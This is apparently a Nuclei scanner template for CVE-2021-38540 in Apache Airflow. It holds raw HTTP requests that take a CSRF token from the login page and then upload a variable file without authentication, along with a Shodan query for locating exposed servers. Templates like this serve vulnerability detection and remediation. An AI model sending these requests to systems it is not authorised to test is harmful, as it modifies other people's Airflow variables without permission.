nuclei-templates/http/cves/2021/CVE-2021-38540.yaml

79 lines
2.5 KiB
YAML
Raw Normal View History

id: CVE-2021-38540
info:
name: Apache Airflow - Unauthenticated Variable Import
author: pdteam
severity: critical
description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
2023-09-06 12:09:01 +00:00
remediation: Upgrade to Apache Airflow 2.1.3 or higher.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-38540
- https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-38540
2023-10-14 11:27:55 +00:00
cwe-id: CWE-306,CWE-269
epss-score: 0.0052
epss-percentile: 0.74123
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
metadata:
2022-05-10 12:45:09 +00:00
verified: true
2023-09-06 12:09:01 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: apache
product: airflow
2023-09-06 12:09:01 +00:00
shodan-query: title:"Sign In - Airflow"
2023-07-11 19:49:27 +00:00
tags: cve,cve2021,apache,airflow,rce,intrusive
http:
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
- |
POST /variable/varimport HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
Referer: {{RootURL}}/admin/variable/
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="csrf_token"
{{csrf}}
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
Content-Type: application/json
{
"type": "{{randstr}}"
}
------WebKitFormBoundaryB874qcjbpxTP1Hj7--
cookie-reuse: true
req-condition: true
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
- type: dsl
dsl:
2023-07-11 19:49:27 +00:00
- contains(body_1, "Sign In")
- status_code_2 == 302
- contains(header_2, "session=.")
condition: and
- type: word
words:
- 'You should be redirected automatically to target URL: <a href="/">'
2023-07-11 19:49:27 +00:00
extractors:
- type: regex
name: csrf
group: 1
regex:
- type="hidden" value="(.*?)">
internal: true